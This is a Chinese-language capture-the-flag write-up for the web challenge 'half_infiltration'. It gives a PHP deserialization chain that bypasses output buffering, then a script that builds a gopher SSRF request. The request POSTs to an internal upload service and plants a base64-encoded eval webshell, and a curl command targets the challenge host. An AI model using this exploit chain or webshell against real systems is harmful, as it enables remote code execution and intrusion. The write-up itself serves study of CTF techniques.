[web]half_infiltration xp0int Posted on Aug 28 2020 看到代码 ``` global $result; print $result; 还有 global $$a; $result=$GLOBALS['flag']; ``` 首先是要global $result 才有机会输出 但是 ob_end_clean();这个的存在清除缓冲区,导致输出不了,所以思路下一步就是绕过这个 ``` <?php ob_start(); print "1"; ob_start(); print "2"; ob_end_clean(); exit(); ``` 这个发现可以正常输出1 ,这就是只清除了第二个ob_start()的缓冲区,而print "1" 则因为exit() 导致的不正常退出,而输出缓冲区内的1 开始思路是想办法连续进行两次read(),然后再exit()就可以,但是好像没办法,这样.而造成不正常退出只要php崩溃直接结束或者在__destruct的时候造成异常导致ob_end_clean()不执行也可以做到, 这里想得是用__destruct执行完read()后导致的异常而让 ob_end_clean()不执行, 所以就只能定位到了 global $$a 这里了, 需要寻找一个特殊的值变成全局变量后会出错 发现只要 global $this就可以让后面的ob_end_clean() 不执行 所以先global $$a $a等于result,然后 再global $$a $a等于"this" ,就可以了 生成序列化脚本: ``` <?php $flag=file_get_contents('ssrf.php'); class Pass { public $tmp; function read() { ob_start(); global $result; print $result; } } class User { public $age,$sex,$num; function __destruct() { $student = $this->age; $boy = $this->sex; $a = $this->num; $student->$boy(); if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student))) { ob_end_clean(); exit(); } global $$a; $result=$GLOBALS['flag']; ob_end_clean(); } } $p=new Pass(); $p->tmp1=new User(); $p->tmp1->age=new Pass(); $p->tmp1->num="6"; $p->tmp1->sex="read"; $bb=new User(); $bb->num="5"; $bb->age=$p; $bb->sex="read"; $aa=new Pass(); $aa->tmp=$bb; $xx=new User(); $xx->age=$aa; $xx->sex="read"; $xx->num="this"; $yy=new User(); $yy->age=$xx; $yy->sex="__destruct"; $yy->num="3"; $zz=new User(); $zz->age=$yy; $zz->sex="__destruct"; $zz->num="2"; $a=new Pass(); $a->tmp=$zz; $b=new User(); $b->sex="read"; $b->age=$a; $b->num="result"; $z=(serialize($b)); echo urlencode($z)."\n"; unserialize($z);; ``` 然后看到ssrf.php的代码 就是ssrf打内网,通过ssrf.php的注释扫一下端口 发现40000端口还有一个忘了什么端口开了, 40000端口的html代码是一个post的,看样子参数file和content是上传文件 所以用gopher来发post 上传的结果保存在 uploads/PHPSESSID的值文件夹里面 有很多东西被ban了,write,=,< ? 所以用伪协议来写shell php://filter/convert.base64-decode就可以了 然后脚本生成gopher ip被ban了只能用服务器curl去打了23333 ``` <?php $file="php://filter/convert.base64-decode/resource=22.php"; $content="PD89ZXZhbCgkX0dFVFtjbWRdKTsg"; $z=('file%3D'.urlencode(urlencode($file)).'%26content%3D'.urlencode(urlencode($content))); $y=strlen('file='.$file.'&content='.$content); echo $z."\n"; $gopher="curl '".'http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000/_POST%20%2f%253F%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A40000%250d%250aCookie%3A%20PHPSESSID%3D6a3m45ijic2r518d589klo4a65%3B%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%20'.$y.'%250d%250a%250d%250a'.$z."'"; echo $y."\n"; echo $gopher."\n"; ``` 然后因为flag被过滤了,只要cat /f* 或者,双重编码flag就可以得到flag了 flag: flag{7815696ecbf1c96e6aa4b779456d3wee} 打赏还是打残,这是个问题 赏 Wechat Pay Alipay 0x00 题目名称 [强网先锋] Funhash - Donek1
没有帐号? 立即注册